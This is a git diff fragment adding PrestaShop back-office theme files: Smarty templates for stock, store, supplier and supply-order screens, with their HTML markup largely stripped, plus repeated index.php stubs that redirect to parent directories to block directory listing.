http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_instant_state/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/stock_instant_state/helpers/list/list_header.tpl new file mode 100755 index 0000000..6cb2a34 --- /dev/null +++ b/BO/themes/default/template/controllers/stock_instant_state/helpers/list/list_header.tpl @@ -0,0 +1,43 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/list/list_header.tpl"} +{block name=override_header} +
+
+ + + {if count($stock_instant_state_warehouses) > 0} +
+ + +
+ {/if} +
+
+{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_instant_state/index.php b/BO/themes/default/template/controllers/stock_instant_state/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/stock_instant_state/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_mvt/helpers/index.php b/BO/themes/default/template/controllers/stock_mvt/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/stock_mvt/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_mvt/helpers/list/index.php b/BO/themes/default/template/controllers/stock_mvt/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/stock_mvt/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stock_mvt/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/stock_mvt/helpers/list/list_header.tpl new file mode 100755 index 0000000..9207df8 --- /dev/null +++ b/BO/themes/default/template/controllers/stock_mvt/helpers/list/list_header.tpl @@ -0,0 +1,41 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/list/list_header.tpl"} +{block name=override_header} + {if count($list_warehouses) > 0} +
+
+ + + + +
+ {/if} +
+{/block} diff --git a/BO/themes/default/template/controllers/stock_mvt/index.php b/BO/themes/default/template/controllers/stock_mvt/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/stock_mvt/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stores/helpers/form/form.tpl b/BO/themes/default/template/controllers/stores/helpers/form/form.tpl new file mode 100755 index 0000000..79b0fb9 --- /dev/null +++ b/BO/themes/default/template/controllers/stores/helpers/form/form.tpl @@ -0,0 +1,93 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name=script} + $(document).ready(function() { + $('#latitude, #longitude').keyup(function() { + $(this).val($(this).val().replace(/,/g, '.')); + }); + }); +{/block} + +{block name="input"} + {if $input.type == 'latitude'} + / + + {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="other_input"} + {if $key == 'rightCols'} + {foreach $field as $input} + {if $input.type == 'file'} + +
+ +

{$input.desc}

+ {if isset($fields_value.image) && $fields_value.image} +
+ {$fields_value.image} +

{l s='File size'} {$fields_value.size}kb

+ + {l s='Delete'} {l s='Delete'} + +
+ {/if} +
+ {/if} + + + + + + + + + + {foreach $fields_value.days as $k => $value} + + + + + {/foreach} +
{l s='Hours:'}
 {l s='e.g. 10:00AM - 9:30PM'}
{$value}
+
+ {/foreach} + {/if} +{/block} + diff --git a/BO/themes/default/template/controllers/stores/helpers/form/index.php b/BO/themes/default/template/controllers/stores/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/stores/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stores/helpers/index.php b/BO/themes/default/template/controllers/stores/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/stores/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stores/helpers/options/index.php b/BO/themes/default/template/controllers/stores/helpers/options/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/stores/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/stores/helpers/options/options.tpl b/BO/themes/default/template/controllers/stores/helpers/options/options.tpl new file mode 100755 index 0000000..5fc5f3b --- /dev/null +++ b/BO/themes/default/template/controllers/stores/helpers/options/options.tpl @@ -0,0 +1,65 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/options/options.tpl"} + +{block name="after"} + +{/block} diff --git a/BO/themes/default/template/controllers/stores/index.php b/BO/themes/default/template/controllers/stores/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/stores/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/suppliers/helpers/index.php b/BO/themes/default/template/controllers/suppliers/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/suppliers/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/suppliers/helpers/view/index.php b/BO/themes/default/template/controllers/suppliers/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/suppliers/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/suppliers/helpers/view/view.tpl b/BO/themes/default/template/controllers/suppliers/helpers/view/view.tpl new file mode 100755 index 0000000..8ce702b --- /dev/null +++ b/BO/themes/default/template/controllers/suppliers/helpers/view/view.tpl @@ -0,0 +1,84 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + +

{$supplier->name}

+ +

{l s='Number of products:'} {count($products)}

+{foreach $products AS $product} +
+ {if !$product->hasAttributes()} + + + + {if !empty($product->product_supplier_reference)}{/if} + {if !empty($product->product_supplier_price_te)}{/if} + {if !empty($product->reference)}{/if} + {if !empty($product->ean13)}{/if} + {if !empty($product->upc)}{/if} + {if $stock_management}{/if} + +
{l s='Name'} {$product->name}{l s='Supplier Reference:'} {$product->product_supplier_reference}{l s='Wholesale price:'} {$product->product_supplier_price_te}{l s='Reference:'} {$product->reference}{l s='EAN13:'} {$product->ean13}{l s='UPC:'} {$product->upc}{l s='Available Quantity:'} {$product->quantity}
+ {else} +

{$product->name}

+ + + + + + + + + + + + + + + + + + {if $stock_management && $shopContext != Shop::CONTEXT_ALL}{/if} + + {foreach $product->combination AS $id_product_attribute => $product_attribute} + + + + + + + + {if $stock_management && $shopContext != Shop::CONTEXT_ALL}{/if} + + {/foreach} +
{l s='Attribute name'}{l s='Supplier Reference'}{l s='Wholesale price'}{l s='Reference'}{l s='EAN13'}{l s='UPC'}{l s='Available Quantity'}
{$product_attribute.attributes}{$product_attribute.product_supplier_reference}{$product_attribute.product_supplier_price_te}{$product_attribute.reference}{$product_attribute.ean13}{$product_attribute.upc}{$product_attribute.quantity}
+ {/if} +{/foreach} + +{/block} + diff --git a/BO/themes/default/template/controllers/suppliers/index.php b/BO/themes/default/template/controllers/suppliers/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/suppliers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders/helpers/form/form.tpl b/BO/themes/default/template/controllers/supply_orders/helpers/form/form.tpl new file mode 100755 index 0000000..79f38f9 --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders/helpers/form/form.tpl @@ -0,0 +1,269 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="other_fieldsets"} + {if isset($show_product_management_form)} +

 

+ + + + + +
+ + Supply Order Management + {l s='Manage the products you want to order from the supplier.'} + + +

{l s='To add a product to the order, type the first letters of the product name, then select it from the drop-down list.'}

+ + {l s='Add a product to the supply order'} + +

 

+ + + + + +
+ + + + + + + + + + + + + + + + + {foreach $products_list AS $product} + + + + + + + + + + + + + {/foreach} + +
{l s='Reference'}{l s='EAN13'}{l s='UPC'}{l s='Supplier Reference'}{l s='Name'}{l s='Unit Price (tax excl.)'}{l s='Quantity'}{l s='Discount rate'}{l s='Tax rate'}{l s='Delete'}
+ {$product.reference} + + + + + {$product.ean13} + + + {$product.upc} + + + {$product.supplier_reference} + + + {$product.name} + + + {$currency->prefix}  {$currency->suffix} + + + + % + + % + + + {l s='Remove this product from the order.'} + +
+
+ +
+ + + {/if} +{/block} diff --git a/BO/themes/default/template/controllers/supply_orders/helpers/form/index.php b/BO/themes/default/template/controllers/supply_orders/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders/helpers/index.php b/BO/themes/default/template/controllers/supply_orders/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders/helpers/list/index.php b/BO/themes/default/template/controllers/supply_orders/helpers/list/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders/helpers/list/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders/helpers/list/list_header.tpl b/BO/themes/default/template/controllers/supply_orders/helpers/list/list_header.tpl new file mode 100755 index 0000000..33dfc9b --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders/helpers/list/list_header.tpl @@ -0,0 +1,50 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/list/list_header.tpl"} +{block name=override_header} +{if isset($warehouses) && count($warehouses) > 0 && isset($filter_status)} +
+
+ + +
+ + +
+
+ + +
+
+
+{/if} +{/block} + + + \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders/helpers/view/index.php b/BO/themes/default/template/controllers/supply_orders/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders/helpers/view/view.tpl b/BO/themes/default/template/controllers/supply_orders/helpers/view/view.tpl new file mode 100755 index 0000000..74acd19 --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders/helpers/view/view.tpl @@ -0,0 +1,119 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} +
+
+ {if isset($is_template) && $is_template == 1} {l s='Template'} {/if}{l s='General information'} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{l s='Creation date:'}{$supply_order_creation_date}
{l s='Supplier:'}{$supply_order_supplier_name}
{l s='Last update:'}{$supply_order_last_update}
{l s='Delivery expected:'}{$supply_order_expected}
{l s='Warehouse:'}{$supply_order_warehouse}
{l s='Currency:'}{$supply_order_currency->name}
{l s='Global discount rate:'}{$supply_order_discount_rate} %
+
+
+ +
+
+ {if isset($is_template) && $is_template == 1} {l s='Template'} {/if}{l s='Products:'} + {$supply_order_detail_content} +
+
+ +
+
+ {if isset($is_template) && $is_template == 1} {l s='Template'} {/if}{l s='Summary'} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{l s='Designation'}{l s='Value'}
{l s='Total (tax excl.)'}{$supply_order_total_te}
{l s='Discount'}{$supply_order_discount_value_te}
{l s='Total with discount (tax excl.)'}{$supply_order_total_with_discount_te}
{l s='Total Tax'}{$supply_order_total_tax}
{l s='Total (tax incl.)'}{$supply_order_total_ti}
{l s='Total to pay.'}{$supply_order_total_ti}
+
+
+ +{/block} diff --git a/BO/themes/default/template/controllers/supply_orders/index.php b/BO/themes/default/template/controllers/supply_orders/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders_change_state/helpers/form/form.tpl b/BO/themes/default/template/controllers/supply_orders_change_state/helpers/form/form.tpl new file mode 100755 index 0000000..98bc9ef --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders_change_state/helpers/form/form.tpl @@ -0,0 +1,74 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name="other_input"} + +{if isset($supply_order) && $supply_order->id > 0 && isset($supply_order_states)} + + + + +
+ +

+ {l s='Choose the new status for your order'} +

+
+ +
+ +
+{/if} +{/block} + +{block name="other_fieldsets"} +
+{if isset($supply_order_state) && $supply_order_state->editable == false && isset($supply_order)} +
+ + {l s='Supply Order State'} + {l s='Print the supply order form'} + +{l s='Click here to download the supply order form.'}. +
+{/if} + +{/block} diff --git a/BO/themes/default/template/controllers/supply_orders_change_state/helpers/form/index.php b/BO/themes/default/template/controllers/supply_orders_change_state/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders_change_state/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders_change_state/helpers/index.php b/BO/themes/default/template/controllers/supply_orders_change_state/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders_change_state/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/supply_orders_change_state/index.php b/BO/themes/default/template/controllers/supply_orders_change_state/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/supply_orders_change_state/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git 